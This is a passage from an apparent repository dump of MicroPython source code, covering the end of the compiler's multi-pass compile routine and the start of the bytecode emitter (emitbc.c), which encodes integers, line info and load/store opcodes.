0; i < comp->num_scopes && comp->compile_error == MP_OBJ_NULL; ++i) {\n        scope_t *s = comp->scopes[i];\n        if (s == NULL) { continue; } // no scope (yet?)\n        if (s->raw_code != NULL) { continue; } // scope already did pass 1\n        keep_going = true;\n        s->raw_code = mp_emit_glue_new_raw_code();\n        if (false) {\n        #if MICROPY_EMIT_INLINE_ASM\n        } else if (s->emit_options == MP_EMIT_OPT_ASM) {\n            compile_scope_inline_asm(comp, s, MP_PASS_SCOPE);\n        #endif\n        } else {\n            compile_scope(comp, s, MP_PASS_SCOPE);\n        }\n\n        // update maximim number of labels needed\n        if (comp->next_label > max_num_labels) {\n            max_num_labels = comp->next_label;\n        }\n    }\n    }\n\n    // compute some things related to scope and identifiers\n    for (uint i = 0; i < comp->num_scopes && comp->compile_error == MP_OBJ_NULL; ++i) {\n        scope_t *s = comp->scopes[i];\n        if (s == NULL) { continue; } // TODO scope for nested comp_for's are not used\n        scope_compute_things(s);\n    }\n\n    // set max number of labels now that it's calculated\n    emit_bc_set_max_num_labels(emit_bc, max_num_labels);\n\n    // compile pass 2 and 3\n#if MICROPY_EMIT_NATIVE\n    emit_t *emit_native = NULL;\n#endif\n    for (uint i = 0; i < comp->num_scopes && comp->compile_error == MP_OBJ_NULL; ++i) {\n        scope_t *s = comp->scopes[i];\n        if (s == NULL) { continue; }\n        if (false) {\n            // dummy\n\n        #if MICROPY_EMIT_INLINE_ASM\n        } else if (s->emit_options == MP_EMIT_OPT_ASM) {\n            // inline assembly\n            if (comp->emit_inline_asm == NULL) {\n                comp->emit_inline_asm = ASM_EMITTER(new)(comp->co_data, max_num_labels);\n            }\n            comp->emit = NULL;\n            comp->emit_inline_asm_method_table = &ASM_EMITTER(method_table);\n            compile_scope_inline_asm(comp, s, MP_PASS_CODE_SIZE);\n            #if MICROPY_EMIT_INLINE_XTENSA\n            // Xtensa requires an extra pass to compute size of l32r const table\n            // TODO this can be improved by calculating it during SCOPE pass\n            // but that requires some other structural changes to the asm emitters\n            compile_scope_inline_asm(comp, s, MP_PASS_CODE_SIZE);\n            #endif\n            if (comp->compile_error == MP_OBJ_NULL) {\n                compile_scope_inline_asm(comp, s, MP_PASS_EMIT);\n            }\n        #endif\n\n        } else {\n\n            // choose the emit type\n\n            switch (s->emit_options) {\n\n#if MICROPY_EMIT_NATIVE\n                case MP_EMIT_OPT_NATIVE_PYTHON:\n                case MP_EMIT_OPT_VIPER:\n#if MICROPY_EMIT_X64\n                    if (emit_native == NULL) {\n                        emit_native = emit_native_x64_new(&comp->compile_error, max_num_labels);\n                    }\n                    comp->emit_method_table = &emit_native_x64_method_table;\n#elif MICROPY_EMIT_X86\n                    if (emit_native == NULL) {\n                        emit_native = emit_native_x86_new(&comp->compile_error, max_num_labels);\n                    }\n                    comp->emit_method_table = &emit_native_x86_method_table;\n#elif MICROPY_EMIT_THUMB\n                    if (emit_native == NULL) {\n                        emit_native = emit_native_thumb_new(&comp->compile_error, max_num_labels);\n                    }\n                    comp->emit_method_table = &emit_native_thumb_method_table;\n#elif MICROPY_EMIT_ARM\n                    if (emit_native == NULL) {\n                        emit_native = emit_native_arm_new(&comp->compile_error, max_num_labels);\n                    }\n                    comp->emit_method_table = &emit_native_arm_method_table;\n#endif\n                    comp->emit = emit_native;\n                    EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_ENABLE, s->emit_options == MP_EMIT_OPT_VIPER, 0);\n                    break;\n#endif // MICROPY_EMIT_NATIVE\n\n                default:\n                    comp->emit = emit_bc;\n                    #if MICROPY_EMIT_NATIVE\n                    comp->emit_method_table = &emit_bc_method_table;\n                    #endif\n                    break;\n            }\n\n            // need a pass to compute stack size\n            compile_scope(comp, s, MP_PASS_STACK_SIZE);\n\n            // second last pass: compute code size\n            if (comp->compile_error == MP_OBJ_NULL) {\n                compile_scope(comp, s, MP_PASS_CODE_SIZE);\n            }\n\n            // final pass: emit code\n            if (comp->compile_error == MP_OBJ_NULL) {\n                compile_scope(comp, s, MP_PASS_EMIT);\n            }\n        }\n    }\n\n    if (comp->compile_error != MP_OBJ_NULL) {\n        // if there is no line number for the error then use the line\n        // number for the start of this scope\n        compile_error_set_line(comp, comp->scope_cur->pn);\n        // add a traceback to the exception using relevant source info\n        mp_obj_exception_add_traceback(comp->compile_error, comp->source_file,\n            comp->compile_error_line, comp->scope_cur->simple_name);\n    }\n\n    // free the emitters\n\n    emit_bc_free(emit_bc);\n#if MICROPY_EMIT_NATIVE\n    if (emit_native != NULL) {\n#if MICROPY_EMIT_X64\n        emit_native_x64_free(emit_native);\n#elif MICROPY_EMIT_X86\n        emit_native_x86_free(emit_native);\n#elif MICROPY_EMIT_THUMB\n        emit_native_thumb_free(emit_native);\n#elif MICROPY_EMIT_ARM\n        emit_native_arm_free(emit_native);\n#endif\n    }\n#endif\n    #if MICROPY_EMIT_INLINE_ASM\n    if (comp->emit_inline_asm != NULL) {\n        ASM_EMITTER(free)(comp->emit_inline_asm);\n    }\n    #endif\n\n    // free the parse tree\n    mp_parse_tree_clear(parse_tree);\n\n    mp_raw_code_t *outer_raw_code = comp->scopes[0]->raw_code;\n\n    // free the scopes\n    for (uint i = 0; i < comp->num_scopes; ++i) {\n        if (comp->scopes[i] == NULL) { continue; } // TODO scope for nested comp_for's are not used\n        scope_free(comp->scopes[i]);\n    }\n    m_del(scope_t*, comp->scopes, comp->num_scopes);\n\n    if (comp->compile_error != MP_OBJ_NULL) {\n        nlr_raise(comp->compile_error);\n    } else {\n        return outer_raw_code;\n    }\n}\n\nmp_obj_t mp_compile(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl) {\n    mp_raw_code_t *rc = mp_compile_to_raw_code(parse_tree, source_file, emit_opt, is_repl);\n    // return function that executes the outer module\n    return mp_make_function_from_raw_code(rc, MP_OBJ_NULL, MP_OBJ_NULL);\n}\n\n#endif // MICROPY_ENABLE_COMPILER && MICROPY_USE_SMALL_HEAP_COMPILER\n"
  },
  {
    "path": "micropython/source/py/emitbc.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/mpstate.h\"\n#include \"py/emit.h\"\n#include \"py/bc0.h\"\n\n#if MICROPY_ENABLE_COMPILER\n\n#define BYTES_FOR_INT ((BYTES_PER_WORD * 8 + 6) / 7)\n#define DUMMY_DATA_SIZE (BYTES_FOR_INT)\n\nstruct _emit_t {\n    // Accessed as mp_obj_t, so must be aligned as such, and we rely on the\n    // memory allocator returning a suitably aligned pointer.\n    // Should work for cases when mp_obj_t is 64-bit on a 32-bit machine.\n    byte dummy_data[DUMMY_DATA_SIZE];\n\n    pass_kind_t pass : 8;\n    mp_uint_t last_emit_was_return_value : 8;\n\n    int stack_size;\n\n    scope_t *scope;\n\n    mp_uint_t last_source_line_offset;\n    mp_uint_t last_source_line;\n\n    mp_uint_t max_num_labels;\n    mp_uint_t *label_offsets;\n\n    size_t code_info_offset;\n    size_t code_info_size;\n    size_t bytecode_offset;\n    size_t bytecode_size;\n    byte *code_base; // stores both byte code and code info\n\n    #if MICROPY_PERSISTENT_CODE\n    uint16_t ct_cur_obj;\n    uint16_t ct_num_obj;\n    uint16_t ct_cur_raw_code;\n    #endif\n    mp_uint_t *const_table;\n};\n\nemit_t *emit_bc_new(void) {\n    emit_t *emit = m_new0(emit_t, 1);\n    return emit;\n}\n\nvoid emit_bc_set_max_num_labels(emit_t *emit, mp_uint_t max_num_labels) {\n    emit->max_num_labels = max_num_labels;\n    emit->label_offsets = m_new(mp_uint_t, emit->max_num_labels);\n}\n\nvoid emit_bc_free(emit_t *emit) {\n    m_del(mp_uint_t, emit->label_offsets, emit->max_num_labels);\n    m_del_obj(emit_t, emit);\n}\n\ntypedef byte *(*emit_allocator_t)(emit_t *emit, int nbytes);\n\nSTATIC void emit_write_uint(emit_t *emit, emit_allocator_t allocator, mp_uint_t val) {\n    // We store each 7 bits in a separate byte, and that's how many bytes needed\n    byte buf[BYTES_FOR_INT];\n    byte *p = buf + sizeof(buf);\n    // We encode in little-ending order, but store in big-endian, to help decoding\n    do {\n        *--p = val & 0x7f;\n        val >>= 7;\n    } while (val != 0);\n    byte *c = allocator(emit, buf + sizeof(buf) - p);\n    while (p != buf + sizeof(buf) - 1) {\n        *c++ = *p++ | 0x80;\n    }\n    *c = *p;\n}\n\n// all functions must go through this one to emit code info\nSTATIC byte *emit_get_cur_to_write_code_info(emit_t *emit, int num_bytes_to_write) {\n    //printf(\"emit %d\\n\", num_bytes_to_write);\n    if (emit->pass < MP_PASS_EMIT) {\n        emit->code_info_offset += num_bytes_to_write;\n        return emit->dummy_data;\n    } else {\n        assert(emit->code_info_offset + num_bytes_to_write <= emit->code_info_size);\n        byte *c = emit->code_base + emit->code_info_offset;\n        emit->code_info_offset += num_bytes_to_write;\n        return c;\n    }\n}\n\nSTATIC void emit_write_code_info_byte(emit_t* emit, byte val) {\n    *emit_get_cur_to_write_code_info(emit, 1) = val;\n}\n\nSTATIC void emit_write_code_info_uint(emit_t* emit, mp_uint_t val) {\n    emit_write_uint(emit, emit_get_cur_to_write_code_info, val);\n}\n\nSTATIC void emit_write_code_info_qstr(emit_t *emit, qstr qst) {\n    #if MICROPY_PERSISTENT_CODE\n    assert((qst >> 16) == 0);\n    byte *c = emit_get_cur_to_write_code_info(emit, 2);\n    c[0] = qst;\n    c[1] = qst >> 8;\n    #else\n    emit_write_uint(emit, emit_get_cur_to_write_code_info, qst);\n    #endif\n}\n\n#if MICROPY_ENABLE_SOURCE_LINE\nSTATIC void emit_write_code_info_bytes_lines(emit_t *emit, mp_uint_t bytes_to_skip, mp_uint_t lines_to_skip) {\n    assert(bytes_to_skip > 0 || lines_to_skip > 0);\n    //printf(\"  %d %d\\n\", bytes_to_skip, lines_to_skip);\n    while (bytes_to_skip > 0 || lines_to_skip > 0) {\n        mp_uint_t b, l;\n        if (lines_to_skip <= 6 || bytes_to_skip > 0xf) {\n            // use 0b0LLBBBBB encoding\n            b = MIN(bytes_to_skip, 0x1f);\n            if (b < bytes_to_skip) {\n                // we can't skip any lines until we skip all the bytes\n                l = 0;\n            } else {\n                l = MIN(lines_to_skip, 0x3);\n            }\n            *emit_get_cur_to_write_code_info(emit, 1) = b | (l << 5);\n        } else {\n            // use 0b1LLLBBBB 0bLLLLLLLL encoding (l's LSB in second byte)\n            b = MIN(bytes_to_skip, 0xf);\n            l = MIN(lines_to_skip, 0x7ff);\n            byte *ci = emit_get_cur_to_write_code_info(emit, 2);\n            ci[0] = 0x80 | b | ((l >> 4) & 0x70);\n            ci[1] = l;\n        }\n        bytes_to_skip -= b;\n        lines_to_skip -= l;\n    }\n}\n#endif\n\n// all functions must go through this one to emit byte code\nSTATIC byte *emit_get_cur_to_write_bytecode(emit_t *emit, int num_bytes_to_write) {\n    //printf(\"emit %d\\n\", num_bytes_to_write);\n    if (emit->pass < MP_PASS_EMIT) {\n        emit->bytecode_offset += num_bytes_to_write;\n        return emit->dummy_data;\n    } else {\n        assert(emit->bytecode_offset + num_bytes_to_write <= emit->bytecode_size);\n        byte *c = emit->code_base + emit->code_info_size + emit->bytecode_offset;\n        emit->bytecode_offset += num_bytes_to_write;\n        return c;\n    }\n}\n\nSTATIC void emit_write_bytecode_byte(emit_t *emit, byte b1) {\n    byte *c = emit_get_cur_to_write_bytecode(emit, 1);\n    c[0] = b1;\n}\n\nSTATIC void emit_write_bytecode_byte_byte(emit_t* emit, byte b1, byte b2) {\n    byte *c = emit_get_cur_to_write_bytecode(emit, 2);\n    c[0] = b1;\n    c[1] = b2;\n}\n\n// Similar to emit_write_bytecode_uint(), just some extra handling to encode sign\nSTATIC void emit_write_bytecode_byte_int(emit_t *emit, byte b1, mp_int_t num) {\n    emit_write_bytecode_byte(emit, b1);\n\n    // We store each 7 bits in a separate byte, and that's how many bytes needed\n    byte buf[BYTES_FOR_INT];\n    byte *p = buf + sizeof(buf);\n    // We encode in little-ending order, but store in big-endian, to help decoding\n    do {\n        *--p = num & 0x7f;\n        num >>= 7;\n    } while (num != 0 && num != -1);\n    // Make sure that highest bit we stored (mask 0x40) matches sign\n    // of the number. If not, store extra byte just to encode sign\n    if (num == -1 && (*p & 0x40) == 0) {\n        *--p = 0x7f;\n    } else if (num == 0 && (*p & 0x40) != 0) {\n        *--p = 0;\n    }\n\n    byte *c = emit_get_cur_to_write_bytecode(emit, buf + sizeof(buf) - p);\n    while (p != buf + sizeof(buf) - 1) {\n        *c++ = *p++ | 0x80;\n    }\n    *c = *p;\n}\n\nSTATIC void emit_write_bytecode_byte_uint(emit_t *emit, byte b, mp_uint_t val) {\n    emit_write_bytecode_byte(emit, b);\n    emit_write_uint(emit, emit_get_cur_to_write_bytecode, val);\n}\n\n#if MICROPY_PERSISTENT_CODE\nSTATIC void emit_write_bytecode_byte_const(emit_t *emit, byte b, mp_uint_t n, mp_uint_t c) {\n    if (emit->pass == MP_PASS_EMIT) {\n        emit->const_table[n] = c;\n    }\n    emit_write_bytecode_byte_uint(emit, b, n);\n}\n#endif\n\nSTATIC void emit_write_bytecode_byte_qstr(emit_t* emit, byte b, qstr qst) {\n    #if MICROPY_PERSISTENT_CODE\n    assert((qst >> 16) == 0);\n    byte *c = emit_get_cur_to_write_bytecode(emit, 3);\n    c[0] = b;\n    c[1] = qst;\n    c[2] = qst >> 8;\n    #else\n    emit_write_bytecode_byte_uint(emit, b, qst);\n    #endif\n}\n\nSTATIC void emit_write_bytecode_byte_obj(emit_t *emit, byte b, mp_obj_t obj) {\n    #if MICROPY_PERSISTENT_CODE\n    emit_write_bytecode_byte_const(emit, b,\n        emit->scope->num_pos_args + emit->scope->num_kwonly_args\n        + emit->ct_cur_obj++, (mp_uint_t)obj);\n    #else\n    // aligns the pointer so it is friendly to GC\n    emit_write_bytecode_byte(emit, b);\n    emit->bytecode_offset = (size_t)MP_ALIGN(emit->bytecode_offset, sizeof(mp_obj_t));\n    mp_obj_t *c = (mp_obj_t*)emit_get_cur_to_write_bytecode(emit, sizeof(mp_obj_t));\n    // Verify thar c is already uint-aligned\n    assert(c == MP_ALIGN(c, sizeof(mp_obj_t)));\n    *c = obj;\n    #endif\n}\n\nSTATIC void emit_write_bytecode_byte_raw_code(emit_t *emit, byte b, mp_raw_code_t *rc) {\n    #if MICROPY_PERSISTENT_CODE\n    emit_write_bytecode_byte_const(emit, b,\n        emit->scope->num_pos_args + emit->scope->num_kwonly_args\n        + emit->ct_num_obj + emit->ct_cur_raw_code++, (mp_uint_t)(uintptr_t)rc);\n    #else\n    // aligns the pointer so it is friendly to GC\n    emit_write_bytecode_byte(emit, b);\n    emit->bytecode_offset = (size_t)MP_ALIGN(emit->bytecode_offset, sizeof(void*));\n    void **c = (void**)emit_get_cur_to_write_bytecode(emit, sizeof(void*));\n    // Verify thar c is already uint-aligned\n    assert(c == MP_ALIGN(c, sizeof(void*)));\n    *c = rc;\n    #endif\n}\n\n// unsigned labels are relative to ip following this instruction, stored as 16 bits\nSTATIC void emit_write_bytecode_byte_unsigned_label(emit_t *emit, byte b1, mp_uint_t label) {\n    mp_uint_t bytecode_offset;\n    if (emit->pass < MP_PASS_EMIT) {\n        bytecode_offset = 0;\n    } else {\n        bytecode_offset = emit->label_offsets[label] - emit->bytecode_offset - 3;\n    }\n    byte *c = emit_get_cur_to_write_bytecode(emit, 3);\n    c[0] = b1;\n    c[1] = bytecode_offset;\n    c[2] = bytecode_offset >> 8;\n}\n\n// signed labels are relative to ip following this instruction, stored as 16 bits, in excess\nSTATIC void emit_write_bytecode_byte_signed_label(emit_t *emit, byte b1, mp_uint_t label) {\n    int bytecode_offset;\n    if (emit->pass < MP_PASS_EMIT) {\n        bytecode_offset = 0;\n    } else {\n        bytecode_offset = emit->label_offsets[label] - emit->bytecode_offset - 3 + 0x8000;\n    }\n    byte *c = emit_get_cur_to_write_bytecode(emit, 3);\n    c[0] = b1;\n    c[1] = bytecode_offset;\n    c[2] = bytecode_offset >> 8;\n}\n\nvoid mp_emit_bc_start_pass(emit_t *emit, pass_kind_t pass, scope_t *scope) {\n    emit->pass = pass;\n    emit->stack_size = 0;\n    emit->last_emit_was_return_value = false;\n    emit->scope = scope;\n    emit->last_source_line_offset = 0;\n    emit->last_source_line = 1;\n    if (pass < MP_PASS_EMIT) {\n        memset(emit->label_offsets, -1, emit->max_num_labels * sizeof(mp_uint_t));\n    }\n    emit->bytecode_offset = 0;\n    emit->code_info_offset = 0;\n\n    // Write local state size and exception stack size.\n    {\n        mp_uint_t n_state = scope->num_locals + scope->stack_size;\n        if (n_state == 0) {\n            // Need at least 1 entry in the state, in the case an exception is\n            // propagated through this function, the exception is returned in\n            // the highest slot in the state (fastn[0], see vm.c).\n            n_state = 1;\n        }\n        emit_write_code_info_uint(emit, n_state);\n        emit_write_code_info_uint(emit, scope->exc_stack_size);\n    }\n\n    // Write scope flags and number of arguments.\n    // TODO check that num args all fit in a byte\n    emit_write_code_info_byte(emit, emit->scope->scope_flags);\n    emit_write_code_info_byte(emit, emit->scope->num_pos_args);\n    emit_write_code_info_byte(emit, emit->scope->num_kwonly_args);\n    emit_write_code_info_byte(emit, emit->scope->num_def_pos_args);\n\n    // Write size of the rest of the code info.  We don't know how big this\n    // variable uint will be on the MP_PASS_CODE_SIZE pass so we reserve 2 bytes\n    // for it and hope that is enough!  TODO assert this or something.\n    if (pass == MP_PASS_EMIT) {\n        emit_write_code_info_uint(emit, emit->code_info_size - emit->code_info_offset);\n    } else  {\n        emit_get_cur_to_write_code_info(emit, 2);\n    }\n\n    // Write the name and source file of this function.\n    emit_write_code_info_qstr(emit, scope->simple_name);\n    emit_write_code_info_qstr(emit, scope->source_file);\n\n    // bytecode prelude: initialise closed over variables\n    for (int i = 0; i < scope->id_info_len; i++) {\n        id_info_t *id = &scope->id_info[i];\n        if (id->kind == ID_INFO_KIND_CELL) {\n            assert(id->local_num < 255);\n            emit_write_bytecode_byte(emit, id->local_num); // write the local which should be converted to a cell\n        }\n    }\n    emit_write_bytecode_byte(emit, 255); // end of list sentinel\n\n    #if MICROPY_PERSISTENT_CODE\n    emit->ct_cur_obj = 0;\n    emit->ct_cur_raw_code = 0;\n    #endif\n\n    if (pass == MP_PASS_EMIT) {\n        // Write argument names (needed to resolve positional args passed as\n        // keywords).  We store them as full word-sized objects for efficient access\n        // in mp_setup_code_state this is the start of the prelude and is guaranteed\n        // to be aligned on a word boundary.\n\n        // For a given argument position (indexed by i) we need to find the\n        // corresponding id_info which is a parameter, as it has the correct\n        // qstr name to use as the argument name.  Note that it's not a simple\n        // 1-1 mapping (ie i!=j in general) because of possible closed-over\n        // variables.  In the case that the argument i has no corresponding\n        // parameter we use \"*\" as its name (since no argument can ever be named\n        // \"*\").  We could use a blank qstr but \"*\" is better for debugging.\n        // Note: there is some wasted RAM here for the case of storing a qstr\n        // for each closed-over variable, and maybe there is a better way to do\n        // it, but that would require changes to mp_setup_code_state.\n        for (int i = 0; i < scope->num_pos_args + scope->num_kwonly_args; i++) {\n            qstr qst = MP_QSTR__star_;\n            for (int j = 0; j < scope->id_info_len; ++j) {\n                id_info_t *id = &scope->id_info[j];\n                if ((id->flags & ID_FLAG_IS_PARAM) && id->local_num == i) {\n                    qst = id->qst;\n                    break;\n                }\n            }\n            emit->const_table[i] = (mp_uint_t)MP_OBJ_NEW_QSTR(qst);\n        }\n    }\n}\n\nvoid mp_emit_bc_end_pass(emit_t *emit) {\n    if (emit->pass == MP_PASS_SCOPE) {\n        return;\n    }\n\n    // check stack is back to zero size\n    assert(emit->stack_size == 0);\n\n    emit_write_code_info_byte(emit, 0); // end of line number info\n\n    #if MICROPY_PERSISTENT_CODE\n    assert(emit->pass <= MP_PASS_STACK_SIZE || (emit->ct_num_obj == emit->ct_cur_obj));\n    emit->ct_num_obj = emit->ct_cur_obj;\n    #endif\n\n    if (emit->pass == MP_PASS_CODE_SIZE) {\n        #if !MICROPY_PERSISTENT_CODE\n        // so bytecode is aligned\n        emit->code_info_offset = (size_t)MP_ALIGN(emit->code_info_offset, sizeof(mp_uint_t));\n        #endif\n\n        // calculate size of total code-info + bytecode, in bytes\n        emit->code_info_size = emit->code_info_offset;\n        emit->bytecode_size = emit->bytecode_offset;\n        emit->code_base = m_new0(byte, emit->code_info_size + emit->bytecode_size);\n\n        #if MICROPY_PERSISTENT_CODE\n        emit->const_table = m_new0(mp_uint_t,\n            emit->scope->num_pos_args + emit->scope->num_kwonly_args\n            + emit->ct_cur_obj + emit->ct_cur_raw_code);\n        #else\n        emit->const_table = m_new0(mp_uint_t,\n            emit->scope->num_pos_args + emit->scope->num_kwonly_args);\n        #endif\n\n    } else if (emit->pass == MP_PASS_EMIT) {\n        mp_emit_glue_assign_bytecode(emit->scope->raw_code, emit->code_base,\n            emit->code_info_size + emit->bytecode_size,\n            emit->const_table,\n            #if MICROPY_PERSISTENT_CODE_SAVE\n            emit->ct_cur_obj, emit->ct_cur_raw_code,\n            #endif\n            emit->scope->scope_flags);\n    }\n}\n\nbool mp_emit_bc_last_emit_was_return_value(emit_t *emit) {\n    return emit->last_emit_was_return_value;\n}\n\nvoid mp_emit_bc_adjust_stack_size(emit_t *emit, mp_int_t delta) {\n    if (emit->pass == MP_PASS_SCOPE) {\n        return;\n    }\n    assert((mp_int_t)emit->stack_size + delta >= 0);\n    emit->stack_size += delta;\n    if (emit->stack_size > emit->scope->stack_size) {\n        emit->scope->stack_size = emit->stack_size;\n    }\n    emit->last_emit_was_return_value = false;\n}\n\nstatic inline void emit_bc_pre(emit_t *emit, mp_int_t stack_size_delta) {\n    mp_emit_bc_adjust_stack_size(emit, stack_size_delta);\n}\n\nvoid mp_emit_bc_set_source_line(emit_t *emit, mp_uint_t source_line) {\n    //printf(\"source: line %d -> %d  offset %d -> %d\\n\", emit->last_source_line, source_line, emit->last_source_line_offset, emit->bytecode_offset);\n#if MICROPY_ENABLE_SOURCE_LINE\n    if (MP_STATE_VM(mp_optimise_value) >= 3) {\n        // If we compile with -O3, don't store line numbers.\n        return;\n    }\n    if (source_line > emit->last_source_line) {\n        mp_uint_t bytes_to_skip = emit->bytecode_offset - emit->last_source_line_offset;\n        mp_uint_t lines_to_skip = source_line - emit->last_source_line;\n        emit_write_code_info_bytes_lines(emit, bytes_to_skip, lines_to_skip);\n        emit->last_source_line_offset = emit->bytecode_offset;\n        emit->last_source_line = source_line;\n    }\n#else\n    (void)emit;\n    (void)source_line;\n#endif\n}\n\nvoid mp_emit_bc_label_assign(emit_t *emit, mp_uint_t l) {\n    emit_bc_pre(emit, 0);\n    if (emit->pass == MP_PASS_SCOPE) {\n        return;\n    }\n    assert(l < emit->max_num_labels);\n    if (emit->pass < MP_PASS_EMIT) {\n        // assign label offset\n        assert(emit->label_offsets[l] == (mp_uint_t)-1);\n        emit->label_offsets[l] = emit->bytecode_offset;\n    } else {\n        // ensure label offset has not changed from MP_PASS_CODE_SIZE to MP_PASS_EMIT\n        //printf(\"l%d: (at %d vs %d)\\n\", l, emit->bytecode_offset, emit->label_offsets[l]);\n        assert(emit->label_offsets[l] == emit->bytecode_offset);\n    }\n}\n\nvoid mp_emit_bc_import_name(emit_t *emit, qstr qst) {\n    emit_bc_pre(emit, -1);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_IMPORT_NAME, qst);\n}\n\nvoid mp_emit_bc_import_from(emit_t *emit, qstr qst) {\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_IMPORT_FROM, qst);\n}\n\nvoid mp_emit_bc_import_star(emit_t *emit) {\n    emit_bc_pre(emit, -1);\n    emit_write_bytecode_byte(emit, MP_BC_IMPORT_STAR);\n}\n\nvoid mp_emit_bc_load_const_tok(emit_t *emit, mp_token_kind_t tok) {\n    emit_bc_pre(emit, 1);\n    switch (tok) {\n        case MP_TOKEN_KW_FALSE: emit_write_bytecode_byte(emit, MP_BC_LOAD_CONST_FALSE); break;\n        case MP_TOKEN_KW_NONE: emit_write_bytecode_byte(emit, MP_BC_LOAD_CONST_NONE); break;\n        case MP_TOKEN_KW_TRUE: emit_write_bytecode_byte(emit, MP_BC_LOAD_CONST_TRUE); break;\n        default:\n            assert(tok == MP_TOKEN_ELLIPSIS);\n            emit_write_bytecode_byte_obj(emit, MP_BC_LOAD_CONST_OBJ, MP_OBJ_FROM_PTR(&mp_const_ellipsis_obj));\n            break;\n    }\n}\n\nvoid mp_emit_bc_load_const_small_int(emit_t *emit, mp_int_t arg) {\n    emit_bc_pre(emit, 1);\n    if (-16 <= arg && arg <= 47) {\n        emit_write_bytecode_byte(emit, MP_BC_LOAD_CONST_SMALL_INT_MULTI + 16 + arg);\n    } else {\n        emit_write_bytecode_byte_int(emit, MP_BC_LOAD_CONST_SMALL_INT, arg);\n    }\n}\n\nvoid mp_emit_bc_load_const_str(emit_t *emit, qstr qst) {\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_LOAD_CONST_STRING, qst);\n}\n\nvoid mp_emit_bc_load_const_obj(emit_t *emit, mp_obj_t obj) {\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte_obj(emit, MP_BC_LOAD_CONST_OBJ, obj);\n}\n\nvoid mp_emit_bc_load_null(emit_t *emit) {\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte(emit, MP_BC_LOAD_NULL);\n};\n\nvoid mp_emit_bc_load_fast(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    (void)qst;\n    emit_bc_pre(emit, 1);\n    if (local_num <= 15) {\n        emit_write_bytecode_byte(emit, MP_BC_LOAD_FAST_MULTI + local_num);\n    } else {\n        emit_write_bytecode_byte_uint(emit, MP_BC_LOAD_FAST_N, local_num);\n    }\n}\n\nvoid mp_emit_bc_load_deref(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    (void)qst;\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte_uint(emit, MP_BC_LOAD_DEREF, local_num);\n}\n\nvoid mp_emit_bc_load_name(emit_t *emit, qstr qst) {\n    (void)qst;\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_LOAD_NAME, qst);\n    if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) {\n        emit_write_bytecode_byte(emit, 0);\n    }\n}\n\nvoid mp_emit_bc_load_global(emit_t *emit, qstr qst) {\n    (void)qst;\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_LOAD_GLOBAL, qst);\n    if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) {\n        emit_write_bytecode_byte(emit, 0);\n    }\n}\n\nvoid mp_emit_bc_load_attr(emit_t *emit, qstr qst) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_LOAD_ATTR, qst);\n    if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) {\n        emit_write_bytecode_byte(emit, 0);\n    }\n}\n\nvoid mp_emit_bc_load_method(emit_t *emit, qstr qst, bool is_super) {\n    emit_bc_pre(emit, 1 - 2 * is_super);\n    emit_write_bytecode_byte_qstr(emit, is_super ? MP_BC_LOAD_SUPER_METHOD : MP_BC_LOAD_METHOD, qst);\n}\n\nvoid mp_emit_bc_load_build_class(emit_t *emit) {\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte(emit, MP_BC_LOAD_BUILD_CLASS);\n}\n\nvoid mp_emit_bc_load_subscr(emit_t *emit) {\n    emit_bc_pre(emit, -1);\n    emit_write_bytecode_byte(emit, MP_BC_LOAD_SUBSCR);\n}\n\nvoid mp_emit_bc_store_fast(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    (void)qst;\n    emit_bc_pre(emit, -1);\n    if (local_num <= 15) {\n        emit_write_bytecode_byte(emit, MP_BC_STORE_FAST_MULTI + local_num);\n    } else {\n        emit_write_bytecode_byte_uint(emit, MP_BC_STORE_FAST_N, local_num);\n    }\n}\n\nvoid mp_emit_bc_store_deref(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    (void)qst;\n    emit_bc_pre(emit, -1);\n    emit_write_bytecode_byte_uint(emit, MP_BC_STORE_DEREF, local_num);\n}\n\nvoid mp_emit_bc_store_name(emit_t *emit, qstr qst) {\n    emit_bc_pre(emit, -1);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_STORE_NAME, qst);\n}\n\nvoid mp_emit_bc_store_global(emit_t *emit, qstr qst) {\n    